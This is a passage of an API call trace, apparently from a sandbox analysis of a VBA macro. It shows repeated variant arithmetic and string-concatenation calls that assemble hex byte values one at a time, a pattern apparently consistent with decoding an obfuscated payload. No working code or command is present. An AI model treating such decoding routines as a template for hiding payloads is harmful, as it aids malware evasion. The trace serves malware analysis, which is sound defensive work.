pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.163] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.163] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.163] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.163] VarBstrCat (in: bstrLeft="&H8", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.163] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.163] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.163] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.163] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.163] VarBstrCat (in: bstrLeft="&Hf", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.163] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.163] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.163] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.163] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.163] VarBstrCat (in: bstrLeft="&H1", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.164] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.164] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.164] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.164] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.164] VarBstrCat (in: bstrLeft="&H8", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.164] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.164] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.164] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.164] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.164] VarBstrCat (in: bstrLeft="&Hf", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.164] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.164] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.164] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.165] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.165] VarBstrCat (in: bstrLeft="&H0", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.165] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.165] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.165] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.165] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.165] VarBstrCat (in: bstrLeft="&H2", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.165] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.165] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.165] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.166] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.166] VarBstrCat (in: bstrLeft="&Ha", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.166] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.166] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.166] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.166] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.166] VarBstrCat (in: bstrLeft="&Ha", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.166] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.166] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.166] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.166] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.166] VarBstrCat (in: bstrLeft="&Ha", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.166] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.167] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.167] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.167] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.167] VarBstrCat (in: bstrLeft="&Ha", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.167] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.167] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.167] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.167] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.167] VarBstrCat (in: bstrLeft="&Ha", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.167] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.167] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.167] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.167] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.167] VarBstrCat (in: bstrLeft="&Ha", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.168] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.168] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.168] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.168] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.168] VarBstrCat (in: bstrLeft="&Ha", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.168] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.168] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.168] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.168] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.168] VarBstrCat (in: bstrLeft="&H3", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.168] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.168] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.169] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.169] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.170] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.171] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.172] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.173] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.174] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.175] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.176] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.181] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, 